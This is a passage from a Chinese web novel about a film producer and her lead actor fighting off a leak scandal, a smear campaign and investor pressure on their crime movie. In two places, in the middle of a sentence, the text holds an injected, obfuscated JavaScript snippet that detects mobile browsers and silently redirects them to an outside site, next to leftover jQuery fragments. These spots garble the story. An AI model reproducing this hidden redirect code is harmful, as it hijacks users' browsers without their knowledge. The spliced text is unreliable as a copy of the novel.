到场的十几家媒体与自媒体人，个个盯紧现场，等着捕捉更多猛料。有些人甚至已经准备好推文标题，随时更新最新进展。 程今走上台，没有过多寒暄，直截了当地介绍了当前的拍摄进度，并随即播放了一段五分钟精选片段—— 短短几分钟，画面切换得干净利落，核心打戏凌厉流畅，卧底对峙的张力扑面而来，每一帧都带着实打实的制作质感。 整个放映过程，原本带着质疑的记者们渐渐收敛了表情，不少人低头快速记录，有人甚至开始交头接耳，讨论刚刚看到的画面。 随后，沈宴登台。 他面对镜头，神色沉稳，语气坚定：“我们已的大部分戏份都拍完，预计下周内完成初版片花。” 台下的记者们开始议论，有人甚至露出了意外的神色。这与外界流传的“资金断裂、剧组崩盘”截然不同，眼前的成果比他们预想的要扎实得多。 有记者当即提问：“录音里基金高层明确表示不信任你们，你们如何保证这部片不会烂尾？” 程今目光沉着，语气平稳有力：“录音只是基金内部对最坏情况的讨论，并不代表最终决策。现在，我们正在用实际拍摄成果证明，《暗潮》具备足够的竞争力。如果录音里的情况真的发生，我们根本不会站在这里。” 记者们安静了一秒，随即另一家媒体更直接发问：“那赵敏的负面言论怎么解释？” 沈宴接过话筒，神色镇定：“任何大投资项目都会进行风险评估，这是行业常态，并不代表《暗潮》注定失败。今天大家已经看到我们的拍摄进度，不能只凭片面录音就下结论。” 程今顺势补充：“基金已经看过我们的阶段成片，至于未来的走势，我只能说——请给我们两天，我们会拿出足以回应市场的初版片花。” 现场一时间安静下来，记者们彼此交换眼神，像是在消化他们的回答。 短短半小时的发布会结束后，不少记者面露惊讶。 “原来这部片已经拍到关键部分了？” “和传闻完全不一样，现场气氛挺凝聚的。” 他们本以为会看到一个摇摇欲坠的剧组，却意外发现，尽管风波不断，《暗潮》的拍摄进度依然扎实推进，剧组内部也没有崩盘迹象。 更让人意外的是——沈宴的坦然态度，程今的果敢笃定，竟让部分媒体对这场风波的看法开始软化，甚至写出了相对正面的报道。 这一战，或许没彻底逆转局势，但已经撕开了一道突破口。 6 翌日清晨，唐夕拿着一份录音和聊天记录，神情愤怒地走进程今办公室。 “程制片，IT部 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15359159|168070||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 门终于追到了段林的云端账号。”她压低声音，语气却难掩激动，“发现他不仅把完整录音和大量剧组内情直接发给对家永荣影业，甚至详细指导他们如何放料攻击我们！” 程今目光一凛，冷静地接过材料翻看。 文件里，每一条记录都清晰列出了段林的恶意指示—— “先放部分录音，等他们拼死挣扎时再放完整版，引导员工离开。” “财务问题怎么剪？去看那几个时间点，重点放大。” “让大V把节奏带稳，把他们逼上死路。” 每一个字，都写明了他如何配合对家，一步步策划这一场抹黑风暴。 唐夕狠狠攥紧拳头，咬牙道：“果然是他！难怪录音剪辑得这么精准，还知道财务和拍摄的所有漏洞。” 程今的神色冷得像冰，指尖在文件上轻轻一敲：“好，这下证据确凿。让我想想如何利用。” 唐夕迫不及待地问：“程姐，要不要直接告他？” 程今垂眸沉思，手指在文件上轻轻摩挲，半晌后缓缓道：“先把这些打包给赵敏，让基金董事会明白——真正的内鬼是谁，录音风波根本是对家的阴谋。” 她抬眸，眼底透出一抹凌厉的锋芒：“等时机合适，再公开反击，让对家彻底翻不了身。” 7 当天傍晚，程今坐在办公室里，手指在键盘上敲下最后一串文字，将整理好的资料打包，发给了赵敏。 随即，她拿起手机，拨通电话。 “你看看这份材料。”程今直入主题，声音冷静，“这里，他明确告诉对家‘只要我不崩，就别放完整录音’，整场风波就是他在背后推波助澜。” 电话那头沉默了几秒，随后赵敏的声音低沉下来，透着愤懑：“董事会知道后肯定会很震惊。我会立刻召开紧急会议，把录音曝光的真相摊开来说。” 程今看向窗外，夜色深沉，城市霓虹倒映在玻璃上。 她语气平稳，却带着一丝坦然：“录音事件的确对基金造成了形象损失，这点我很抱歉。但至少现在可以证明，这不是我们管理混乱，而是对家刻意打击报复。” 赵敏轻叹了一口气，声音微缓：“你先专心把片花做好，只剩两天了。如果你能拿出足够打动董事会的成果，他们才会正式放弃撤资方案。” 程今握紧手机，语气坚定：“好，我必不负所托。” 消息传回基金内部后，果然引发了董事会的强烈震荡。会议室气氛剑拔弩张，董事们看完证据，脸色一个比一个难看。 有人愤怒拍桌：“好啊，原来是自己人给外面递刀子？” “公司内部竟然有人跟对家合谋？这不只是项目问题，是我们内部管理的漏洞！” 很快，段林与基金内部某些高层助理暗中勾结的事实被彻查出来，董事会震怒，迅速展开整顿，而对家永荣影业收买基金内部人员的消息也随之曝光。 业内哗然，舆论风向急转。 永荣影业眼看风向不对，仓促发声，辩解称只是行业正常竞争，但网友普遍不买账，评论区里全是冷嘲热讽—— “什么正常竞争？背后捅刀也叫竞争？” “抹黑别人还收买基金内部，永荣这手操作真是见不得光。” “希望《暗潮》能扛住，对家这种做法真恶心。” 程今刷着最新的新闻，眸色冷然。 她缓缓合上笔记本，目光沉稳，这一局，她终于扳回一城。 8 随着“段林泄密、与对家勾结”的证据被逐步放出，社交媒体上的舆论开始急剧反转。 原本唱衰《暗潮》的吃瓜群众，这时看清了对家的手段，态度陡然生变—— “果然录音就是阴谋，这剧组才是受害者。” “看到程今还在拼命拍戏，不是觉得可怜，而是佩服她的毅力。” “对家真是恶心到家了，这么下作的手段，反倒让我想支持《暗潮》。” 程今坐在办公室，看着微博后台数据，浏览量和支持言论不断飙升。 她敲了敲桌面，低声道：“这算是在最关键的时候，让对家自顾不暇了。” 她合上电脑，长吐了一口气，心里那根一直绷紧的弦，终于稍稍松了一些。 录音风波确实给剧组带来了重创，但同样，也让更多人开始关注《暗潮》。 他们现在需要做的，就是用作品去回应这一切。 9 夜已深，片场依旧灯火通明。 深夜十点，收尾戏仍在拍摄，而后期机房里，程今与导演、剪辑师正连夜赶制《暗潮》的初版片花。 屏幕上，画面一帧帧剪辑调整，背景音效、音乐节奏反复调试，每个人都在争分夺秒。 沈宴拍完最后一场戏回到棚里，得知她依旧没合眼，脚步一顿，随即走进机房。 他靠近些，声音压低了些许：“需要我配音或者录个旁白吗？” 程今抬头，对上他专注的目光，心里莫名松了一瞬。她揉了揉眉心，轻轻点头：“可以。如果片花里能加上你一句简单的旁白，引导观众更理解主角的内心，会更有代入感。” 沈宴唇角微微一扬，语气干脆：“好。” 他随即进了隔壁的录音间。 短短几句旁白，他却一遍遍调整语气，反复录了十多遍，力求完美。 机房外，程今静静听着监控屏幕里传来的低沉嗓音，平稳有力，带着层次感。她心里泛起一丝无法抑制的温暖。 她很少让自己停下来感受情绪，但这一刻，她意识到——无论是剧组，还是她自己，沈宴一直都在。 当他从录音间出来时，程今抬眼看着他，声音比平时轻了几分：“谢了，你真帮了我很多……” 她的语气不再是以往的公事公办，而带着些许难得的柔意。 沈宴笑了笑，眼神柔和却带着几分认真：“如果不是你一直撑着，剧组早就散了。真正厉害的人是你。” 程今微微一顿，望着他，眼神里闪过些许复杂的情绪。 两人对视，片刻沉默。 没有再多说什么，可这一刻的静默，比千言万语更有重量。 如果他们能守住这个项目，这不仅是剧组的胜利，或许也是他们之间某种未曾言明的答案。 21. 第 21 章 1 夜色渐退，清晨的微光透过大片玻璃窗洒进后期机房，带着一丝清冷。 程今坐在屏幕前，眼底布满血丝，伸手揉了揉眉心，肩膀因久坐而微微僵硬。 身旁，导演杨学宁和剪辑师小澄已相继趴在桌边打起了盹。昨夜三人轮番守着剪辑，早已透支了所有精力，靠着一股意志力硬撑到天亮。 机房内的灯光幽暗，唯有电脑屏幕上的进度条缓慢前行。 终于—— “渲染完成：100%。” 成片导出的提示静静跳在屏幕中央。 程今怔了一下，那一刻，所有的困意、酸痛、压迫感，仿佛都凝成了一口缓慢吐出的气息。 而就在这时—— 机房的门，被人轻轻推开了一条缝。 昏黄的走廊灯下，沈宴穿着简便的外套站在门口，身影带着几分疲惫，却神色清醒。 他静静望了一眼屏幕上的完成界面，心里微微一松——他们赶上了。 《暗潮》的初版片花，终于在天亮前完成。 程今察觉到动静，微微转头，声音低哑又沙哑：“你没去休息？” 沈宴走进几步，语气轻缓：“放心不下，想看看你们剪得怎么样了。” 他的视线落在那台发出微光的电脑上，声音里透着真切的在意：“这就是初版片花？” 程今点点头，疲惫中夹着一丝不易察觉的满足。 这意味着，她终于有了一把能回击所有质疑的武器。 程今抬手，把刚刚渲染完成的片花文件存入U盘，动作虽疲惫，却掩不住眼底一闪而过的兴奋与倔强。 “对……初版片花，今天就得带去给基金董事会做内部审片。” 她声音沙哑，却透着一种久战之后终于握住武器的底气。 一旁半梦半醒的小澄听见动静，努力睁开眼嘟囔：“资料包里还有一份备用方案，节奏稍快……万一那帮人要看不一样的风格，咱们也能应付得了。” 说完她就靠在椅背上，整个人昏昏欲睡，像是被掏空了力气，却又仍不忘为项目留一线退路。 导演杨学宁揉了揉酸涩的脖子，声音哑到几乎听不清：“哪怕只有五分半钟，但能概括全片精华……沈宴的旁白，真是画龙点睛。” 他看向沈宴，露出一丝疲惫却真诚的笑意：“多亏你一遍遍录音，那种情绪一下子就把整个氛围拉了上去。” 沈宴轻轻摇头，语气淡然却诚恳：“其实我只是想让大家更深地理解这个人……他复杂，也真实。” 说这话的时候，他的目光落在程今身上，多了几分柔和与关切：“你也该休息一下了，一直这样熬下去，身体会垮。” 程今轻轻一笑，却只是摆了摆手，语气中带着她一贯的坚定与克制：“等见完董事会再说。片花搞定就好。” 她的眼里是难掩的疲倦，却也有一种近乎偏执的坚韧。 “咱们走吧，一会儿赵敏等着，别给他们任何借口说我们怠慢。” 说完，她提起装着U盘和资料的文件包，转身走出机房。 屋里的灯光还残留着一夜未眠的疲态，空气里有机器运行过后的微微发热味道。 小澄和导演一边收拾物品，一边打着哈欠跟在她身后，像是在极限边缘蹒跚前行，却又被一种信念拉着不肯停下。 沈宴本想上前帮她拿文件包，却在与她对视的那一瞬，被她轻轻一笑拒绝。 那笑容里，有礼貌的客气，也有下意识划出的边界感。 她仍旧习惯，独自撑起一切。 而此刻，她带着所有人的努力与希望，朝着更大的风口走去。 2 清晨八点出头，临川基金总部的内部审片室内灯光骤暗。 程今站在播放设备前，手指插入U盘的一瞬，后背已经被几道灼人的目光锁定。 她没有回头，但能清晰感受到身后座位上的阵容分布—— 前排左侧，赵敏坐得笔直，面无表情；右侧几位中立派董事安静观望，不动声色。 而在正中间位置，一道冷峻沉稳的男性气场最为扎眼。 那是林言，基金分析团队主管。 年纪不过三十出头，却在资本圈有理性冷酷的名声。 他以精准的风险评估和市场回报测算著称，是保守派眼中的“数字利剑”。 今天的局面，成败，很大程度取决于他在董事会中的态度。 程今深吸一口气，脸上不显波澜，心中却已绷紧所有神经。 林言淡淡开口：“请放片花。” 没有情绪，也没有期待。 像是在等一组数据自动跑完，理性且冷静地准备做出结论。 五分半钟，置之死地而后的一击 灯光熄灭，播放开始。 阴冷的巷口、雨后未干的水泥地、沈宴饰演的卧底角色，踩着沉稳却不安的步伐穿行街头。 灰黄色的路灯打在他脸上，只照亮半边，另一半被黑暗吞没。 紧接着—— 节奏急促的交叉剪辑陡然拉满： 爆破、枪战、肉搏、街头逃亡、同伴倒地、帮派老大的审讯…… 画面在张力与控制之间游走，既有商业感的打击爽点，也不失质感和风格。 而片花的后半段，情绪转向—— 镜头切换到沈宴一人在高楼边缘的背影，风呼啸，背景音渐弱，沈宴低沉的声音在黑暗中响起，带着一种压抑又隐忍的自嘲： “我知道自己脚下，是万丈深渊。 可若不踏出这一步， 我连最后一丝……救赎的资格都没有。” 他的声音在阴影里缓缓沉下，犹如绝境边缘的独白，穿透人心，也点出角色的悲壮与挣扎。 画面定格。 音乐收尾，光影戛然而止。 整个审片室陷入短暂沉默。 程今静静站在黑暗中，背脊笔直得像一把被锤炼过无数次的冷刃，冰冷、沉默，却始终不曾折断。 短短三分半钟后，灯光重新亮起，审片室恢复明亮。 空气却像还停留在那句旁白里，低沉、压抑、未完全散去。 董事们表情各异： 有一两人眼底闪着惊艳的光，显然被片花中的影片气质与张力击中； 也有人眉头紧皱，显然对影片偏暗的风格、沉重的题材存有疑虑。 程今转身面对他们，神色平稳，心跳却比任何时刻都快。 赵敏率先开口打破沉默，语气利落：“这就是我们通宵赶出的初版片花，突出了男主双面潜伏的冲突，也融合了强烈的警匪对抗质感。我相信，这类故事对年轻观众极具吸引力。” 导演杨学宁立即跟上：“我们还有许多尚未曝光的高能素材。未来配合宣发节奏，节选角色高光、情感燃点，一定能形成扩圈效应。” 然而，一名保守派董事却低头翻了翻片花评分预估表，冷笑一声：“题材确实别致，但并非主流合家欢。更别提沈宴的粉丝主要集中在现代都市向群体，他们未必会为帮派卧底题材买单。” 空气里一瞬凝滞。 程今微微挺直背脊，正要开口回应，却听林言那道一如既往冷静的声音慢悠悠响起—— “片花不算坏，质感也有。但我们必须回到现实层面：硬核警匪本就不是当前市场的爆款类型，缺乏流量带动、商业改动也不够清晰的情况下……你怎么确保它能出圈？” 他语气不急不缓，却锋利得像把拆信刀，字字割在利弊的天平上。 程今压下心底翻腾的情绪，语气平稳：“我们接下来会在宣发策略和人物设计上做进一步强化，突出角色情感线，并辅以节奏更轻快的衍生宣传版本。后期工作已在同步准备。” 另一个董事嗤道：“说得轻巧，永荣影业都已经在打着‘第一帮派大片’的旗号宣传了，咱们别太乐观。” 林言不动声色地接话：“除非你们能在短期内拿出实际的市场合作，比如提前锁定票仓，或者落地的海外流媒体窗口。不然资金追加这事，很难推进。” 他语气依旧温和，却毫无留情。 “听说你还有‘海外平台合作’的打算？” 程今点点头，正准备进一步解释合作细节，却被另一位心浮气躁的董事直接打断：“现在别扯太远！这片花说明影片确实有点气质，但风险太高了。程制片，你可得加快进度，不然市场窗口一过，再强的片也推不出去。” 会议气氛重新变得压抑。 程今面无惧色，却清楚地意识到：这一战，她赢下了暂时的“保留意见”，却远未拿到“全数支持”。 沈宴在后排坐着，静静观察整场会议。 他能感受到这些人眼中只有数据与回报，没有一丝对创作本身的热忱。他们的专业和冷静令人敬畏，也让人窒息。 而程今，从始至终都没有退缩。 她的语气依旧从容：“感谢各位指出的问题，我们会在后期打磨中继续完善内容，也将同步推进市场测试和渠道合作。希望再给我们一点时间。” 她的用词谨慎，态度坚定。不是争论，也不是讨好，而是一种将残局扛回正轨的勇气。 审片会最终没有拍板决定任何变动，也没有提出撤资。只是留下模糊的“等待进一步观察”意见。 程今走出会议室时，轻轻吐出一口气，嘴角扬起一丝淡笑：“至少，他们没说要砍项目。” 沈宴走上前，声音压低：“还算好，片花没被否定。” 程今点了点头，眼神不再如刀锋般锐利，却依旧透着沉稳的力量：“牌还有的打。” 她知道——真正的决胜，不是在会议桌上，而是在整个市场面前。 而她还有最后几张牌，必须打得漂亮。 3 董事们刚散去，赵敏便迅速招呼程今、导演杨学宁与林言进了小会议室，气氛比主会场还要紧绷。 她话未出口，林言已先一步开门见山：“董事会也承认片花质感不错，但——光靠‘不错’撑不起票房。董事会希望你们再加点‘商业化手段’。” 杨学宁当场脸色就变了：“怎么加？拍摄都快收尾了，你现在要我们回头塞什么热搜桥段？搞笑出圈名场面？还是强行谈恋爱？” 林言没看他，只目光落在程今身上，语气平静得令人窒息：“比如请流量歌手演唱主题曲、出个MV，或者让某位自带话题的明星客串个彩蛋，结局再亮点一些，不要太压抑……这些在我数据报告里都有，建议你们认真看看。” “我们要对抗的，是对家全线压制的资源配置——人家有流量坐镇，有宣发提速，我们不能光靠内容自娱自乐。” 导演眉头紧锁，几乎快要拍桌：“我们这个故事本质就不是靠噱头堆起来的，再大动只会毁掉故事节奏和逻辑！” 程今轻轻咳了一声，伸手按了按桌面，有意打断导演的情绪，语气尽量保持冷静：“林总，任何商业化建议，我们都会认真评估。但前提是——不能动剧本的核心结构。如果为了迎合流量而把人物走向、情绪线都搞碎了，那这部片子将彻底失去口碑。” 林言依旧不疾不徐，语调里没有丝毫情绪：“那你们自己斟酌。但别忘了，资金不是无底洞。想拿到最后一笔后期制作款，得让董事会看到能卖得出去的可能。” 他话音落下，赵敏也轻轻叹了口气，眼神有些无奈：“程制片，先别硬扛，回去和团队仔细推敲一下吧。我们现在能走的，只剩一步步博弈了。” 程今没有再反驳，只是缓缓点头，声音低却清晰：“我们会尽快拟出一个最可行的调整方案，但有一点请放心——我能让步的地方很多，唯独底线，不会动。” 她的声音不高，但落下时，整个会议室一瞬沉默。 就在这时，一直沉默旁听的沈宴缓缓开口，语气平静，却带着一丝迟疑：“可是——这些所谓调整，无论是MV还是彩蛋，都意味着再投入预算与资源。时间上也未必赶得及，对家已经提前放了第一轮热搜，我们这样临时追赶，真能有用吗？” 林言转头看他，语气仍旧平淡：“这就看程制片的执行力了。” 说完，他合上文件夹，起身离席，丝毫不给任何进一步周旋的余地。 会议室门合上的那一刻，程今站在原地，目光沉沉。 她知道，这已不是一次建议，而是赤裸裸的压力转移—— 她若拿不出一个既保住故事完整，又能满足商业预期的方案，资金就会被一寸寸掐紧，最终把整个项目活活困死在路上。 而她已经没有退路。 4< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15359160|168070||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 回到制片公司时已近中午，办公室里空气都透着连轴运转后的沉重。 导演、剪辑师小澄，还有服化、美术组的负责人一个个神情恍惚，在刚才的审片室就几乎是靠意志力维持清醒，如今一放松，全员都透出疲态。 服化主管轻声抱怨：“我们都快熬穿了，程姐，能不能……先让大家歇口气？” 导演杨学宁也点头附和：“是啊，再这么逼下去，怕是人还没撑到上映就要崩一个先。” 程今站在众人面前，望着那一双双红着眼的疲惫神情，心里泛起一丝说不出的酸涩。 她知道他们这些天是怎么咬牙走到现在的。 “行。”她沉声开口，却出乎所有人意料，“从现在起，全面停工二十四小时。除了核心值班团队，其余所有部门轮休，后天早上再全力冲刺。” 空气仿佛在一瞬间轻了几分。 导演呼出一口长气，小澄激动地合掌：“终于能躺一觉了……” 场务、灯光、美术等人也纷纷低声感慨，眼中写满了“活过来了”的庆幸。 有人迟疑问道：“程姐……那董事会那边，要是有意见怎么办？” 程今收起疲惫，语气坚定：“林言要是不满意，我去扛。你们先休息，才有力气做事。” 一句话，把所有担忧挡在门外。 众人终于散去。 此时，沈宴正好从外头进来，一眼看到工作人员陆续离开，一张张疲惫却轻松的面孔。 他快步走到程今身边，低声问：“你也歇一歇？一起？” 程今嘴角微扬，轻得几乎像是开玩笑：“我还有一堆方案在办公室等我翻牌，哪有你们这种福气。” 沈宴皱了皱眉，声音压低：“你这样不是安排，是在透支自己。” 程今却没等他说完，抬手轻轻挡了他一句，语气不重，却斩钉截铁：“别劝我，”她语气不疾不徐，却透着一股不容置疑的冷静，“我知道自己的极限。” 她的眼神平静却坚定，像一块被打磨得极干净的石头——不锋利，却也从不松动。 语气不重，却极有分寸。 沈宴望着她，欲言又止，最终还是点了点头：“……好。我先回去补觉。但你要是需要我，随时找我。” 那一刻，程今没说话，只是轻轻点了下头。 可内心某个地方，仿佛被什么悄悄碰了一下。 ——他一直都不过界，从不强行插手她的决定，却总在她背后默默撑着。 在这个每句话都暗藏算计的行业里，这种安静的守候，太稀缺，也太温柔。 5 夜渐深，制片公司整层楼像被时间掏空，四周静得仿佛能听见灯光在轻微颤动。 会议室里，程今翻着那份令人头疼的“商业化调整建议”——什么流量出镜桥段、粉丝彩蛋、剧情反转福利……每一条都像在给原本完整的故事硬塞噱头。她揉了揉眉心，闭眼靠在椅背上，试图压住脑袋的胀痛。 这时，轻柔的脚步声响起。 她睁眼，看到沈宴走进来，手里拎着一袋还冒着热气的夜宵。 “我以为你已经回去休息了。”她微微惊讶。 沈宴把袋子放下，语气一如既往温和：“睡了四五个小时，差不多够了。想着你十有八九没吃晚饭。” 那语气不轻不重，没有刻意关心的痕迹，却像一盏被悄悄点亮的小灯，在她疲惫透顶的夜里，悄无声息地照出一块柔软的角落。 程今心头一暖，嘴角扬起一点点弧度：“谢谢。” 他没多说什么，只在桌对面坐下，拿出手机开始翻资料。两人各自忙碌，偶尔交换几句工作层面的讯息，语调平稳，气氛安静而缓和。 但越是这样安静，越显得微妙。 曾经，他们在风暴中心里并肩扛过最难的关口，每一次眼神交汇都带着无声的信任与协作。可现在，项目危机稍稍缓解，这段关系却像失了锚，明明靠近，却不知道下一步该往哪里落脚。 沈宴几次欲言又止，终于还是轻声道：“我明天打算去拜访一位做国际宣传的前辈，聊聊海外预热的可能。你要一起吗？” 程今抬眼，明显犹豫了一下：“我……明天得和导演敲剪辑版式，还要跟林言谈预估预算，可能走不开。” 沈宴点点头，没有多作挽留：“行，我先过去谈，回来把重点整理给你。” 他顿了顿，声音低了些，“你也别总这样拼。别的都能慢慢扛，身体真垮了就补不回来。” 程今垂眸轻笑：“我知道分寸。” 她抬眼看他，神色柔了些：“你明天顺利的话，我们就离那个答卷，又近了一点。” 他也笑了，眼神不动声色地看了她一会儿，终究什么都没再说。 只是这安静的会议室里，两人之间那条线，不再像之前那样绷得死紧，却也没人真的松开，像是一种默契的坚持，也像一种谁都不敢先打破的试探。 6 夜已沉寂，会议室内只剩电脑的微光和纸页翻动声。程今将厚厚一叠改动方案收进公文袋，动作利落，却透着力竭后的沉重。她靠在椅背上，闭上眼睛，脑海还在回放白天董事会的每一个问题、每一句质疑，像针一样，一根根扎进心口。 门口传来轻微的脚步声，又很快安静下来。她睁开眼，看到桌角多了一瓶未开封的矿泉水，标签上的水珠还带着冷意。人已经走了，是沈宴。 他没有多说一句话，也没试图留下，只是静静地把那瓶水放下，像一场克制到极致的关心，连眼神都不曾打扰她。 她望着门口空空的方向，心里一阵苦涩泛起。 明明他们在同一条战线，共同扛过最激烈的风口浪尖， 可现在，却连一句“你还好吗”都成了一道小心绕开的界线。 工作，是他们之间最后的默契； 而私心，是他们谁都不敢越过的底线。 也许，在下一场更猛烈的风暴来临时，他们还会像过往一样并肩作战； 但此刻，却只能沉默，各自扛下这段平静下的波涛。 她长长吐出一口气，仿佛想将那些杂乱的情绪也一并呼出， 然后低头靠在椅背，闭上眼，给自己争取片刻喘息—— 毕竟再休息几分钟，新的战役又要开始。 22. 第 22 章 1 夜色渐退，东方云霞悄然泛起微光。程今靠在片场临时办公室的沙发里，闭目小憩。连夜剪辑片花后，她本该借着董事会初步肯定的态度稍作放松，却被新一轮消息惊醒。 林言，基金分析团队主管，将于今日正式进驻剧组，评估“商业改编”可行性，并全面盯紧后期拍摄预算。 程今划开手机时，眉心隐隐发紧。林言在业内的名声，一半靠“理性精准”，另一半靠“压榨到极致”。他能用利润率否定一整部电影，也能凭一组数据推翻所有创作逻辑。像他这样的人，一旦露面，连空气都要开始算成本了。 “程制片。” 门外的敲门声打断了她的片刻喘息。 导演杨学宁走进来，眉头皱得紧紧的：“刚收到消息，对家今天开始在院线大规模投放宣传。我们片花虽然赶出来了，但院线资源还没谈下来。” 程今睁眼，理了理因为小憩而微微凌乱的长发，声音不高却透着清醒：“我知道。” 她仿佛一夜之间沉稳了几分，眉眼里虽有疲态，却也多了一份硬撑过来的坚定：“林言那边，我会尽力说服他，先把后期资金稳住。宣发资源……可以晚谈，但资金不能断。” 杨学宁神色凝重：“听说他特别难搞。真要他提出什么流量置换，我们怎么办啊？” 程今轻轻揉了揉眉心，缓缓站起身：“看情况。不能一味排斥资本意见，但要是改得太离谱……那就得先稳住他，再找机会博弈。” 就在这时，外头走廊传来一阵清晰脚步声。 透过门缝，可以看到一队穿着笔挺正装的审查小组已抵达制片部门。众人神情严肃，手持笔电和文件夹，步伐利落，仿佛带着一股专属于资本方的压迫气场。 队伍中央，一名身形挺拔的年轻男子驻足于办公室门前，目光沉静锐利，眼中掠过一丝审视意味。 林言，来了。 2 程今带着杨学宁快步赶往前台，正巧与那群人迎面碰上。 “林言。”她心中确认身份，旋即微笑伸出手，“林主管，欢迎。” 林言神色从容，面部线条清冷，对她伸出的手仅轻轻一握，随即收回：“程制片，又见面了。”语气客套，却冷淡得滴水不漏，“我们此次奉董事会指令，对后期拍摄、资金流向及商业化调整方案进行全线评估。希望你能积极配合。” 他身后两名助理，一男一女，也礼貌点头，神色严谨。程今微侧身，介绍道：“这位是我们导演杨学宁，后期剪辑由小澄负责，如果需要了解拍摄节奏和素材，可以直接找他们。” 林言扫了杨学宁一眼，语气平平：“听说导演对商业修改持保留态度？” 杨学宁略显局促，还是硬着头皮答道：“艺术与市场要平衡。但若改动过大，容易伤到剧本本身。” 林言似笑非笑地“嗯”了一声，不置可否：“数据不会骗人。我们先看看片场情况和初剪节奏，再谈增值方案。” 说完，他视线重新落回程今身上，顿了片刻，语调不动声色：“不知程制片是否愿意亲自带我参观一圈？也方便我调研得更细致。” 程今微怔，对上他的目光，那双眼里仍带着审慎与精算的克制，却不知为何，隐隐多了点儿……探试意味。像是要穿透她外壳，判断她到底是不是“可控变量”。她一瞬间警觉，又迅速掩去情绪，语气平稳：“好。正好导演要去调度场景，我带你过去。” 两人并肩而行，那短暂的对视落在杨学宁眼里，也落在刚刚赶到片场的沈宴眼中。 沈宴原本打算上前招呼，脚步却在一瞬间慢了下来。他看着程今与林言并肩交谈，那人步伐不紧不慢，语气克制，却自然占据着主导。 他站在原地，喉结轻动，没出声。情绪并不汹涌，却在胸口拧出一抹钝痛，像是明明知道不该在意，却还是被某种说不上来的念头牵住了眼。 3 来到片场，今日拍摄的是剧尾那场最关键的巷战戏：沈宴饰演的男主卧底与柳尧饰演的帮派副手正面对峙，情绪、动作、爆破效果，全都拉满。这是整部片子情绪浓度最高的一场戏，烟雾、灯光、爆点、特写，全组人马正按着导演杨学宁的镜头分镜紧锣密鼓地做准备。 林言一路跟着程今走过灯光组与场务区，一边低头在笔电里飞快敲着，一边不时抬头发问，声音一如既往的平静克制： “这一场戏据说耗费最大，布景、爆破、群演……有明确的投入产出测算模型吗？” “巷战里能不能加点粉丝福利桥段？比如柳尧和沈宴之间加几句火花四溅的对话，引导下CP感？” 导演听得脸色越来越难看，终于忍不住：“这已经快封镜了，你让我半天之内再加福利梗？” 林言神情未变，语调依旧温和：“抓年轻观众啊。数据反馈来看，CP人设、颜值对峙、反派也带感，都是高热话题入口。不增加话题流量，片子很难出圈。” “我们要拍的是暗黑警匪。”导演冷下脸，“你是希望我把它拍成偶像剧？” 场面气氛一时紧绷。 程今眼神一动，立刻接话，声音柔却压得住场：“林总，我能理解你的角度。但目前剧情推进已经到尾声，这场戏情绪太重，临时改动容易破坏节奏。我们先按既定方案拍。后期剪辑时，可以适当选取节奏上更强的桥段做宣发。” 林言点了点头，不再坚持：“可以。等成片出来，我再评估。说不定能剪个双男主终极对决，营造点情感张力，粉丝会买账。” 程今没回应，只微微一笑，转身去与现场助理确认拍摄节奏。 不远处，沈宴已穿好戏服，在巷口做准备动作。烟雾刚起，他低头系紧衣领，眼角余光扫过—— 程今和林言站在一起，交谈不断。林言语调不高，却始终看着她，眼神含着一种理智中的审视。那种目光，像是打量一个“项目”，又仿佛……在研究一个人。 沈宴心里一紧，说不清是嫉妒还是某种莫名的不适。他咬了咬后槽牙，什么也没说，只把头扭回去，站定。 不远处的导演喊了声“就位”，他却仍觉得，心里那股躁意挥之不去。 4 一场拍摄结束后，烟雾尚未散尽，巷道里还残留着硝烟味。沈宴擦去额角汗珠，快步回到监视器前，低声问程今：“你看前两条怎么样？如果不够，我可以再来一遍。” 程今正翻看回放，语气略带疲意，却不吝肯定：“导演应该挺满意……你状态很好。” 她话音刚落，林言的声音插了进来：“沉稳是不错，但情绪波动不够。观众更想看的是情感爆点，太压抑反而没记忆点。” 沈宴眉心微蹙：“警匪题材讲求的是克制，过度渲染会削弱真实感。” 林言不疾不徐地挑眉：“可真实未必能卖钱。我是站在票房最大化的角度提建议。” 气氛隐隐紧绷，程今适时开口打圆场：“意见多听听无妨，但最终还是要尊重导演和演员的创作逻辑。”说着，她侧身略靠近沈宴，低声补充：“你之前说的海外发行计划，我觉得可以尽快推进。林言他们盯的是国内票房，对家又掌握了不少资源，我们得多线并进。” 沈宴闻言微一颔首，笑意克制却真诚：“我可以联系海外的发行方，做初步预售，顺带把衍生版权一并谈掉。” 程今点头，唇角浮起少见的笑意：“这对我帮忙很大。回头我把资料整理好交给你，谢谢。” 这声“谢谢”落入沈宴耳中，像是落在心尖。他刚想说点什么，却见林言已经凑近程今身侧，低声带笑插进来：“程制片，导演刚让你去看一个镜头，你现在方便吗？” 沈宴眼神一凛，视线落在两人之间的距离。林言站得太近了，那种半倚靠的姿态，像是无声地宣示什么。他看到程今下意识后退一步，轻声应了“好”，便转身走向片场。 这一幕落在沈宴眼里，心里泛起一股说不出的烦闷。 他终于意识到，自己并非只是讨厌林言的资本态度，他真正无法接受的，是林言对程今的那种若有若无的关注。那种目光，不止于项目，而更像是在挑衅地探索一个人的软肋。 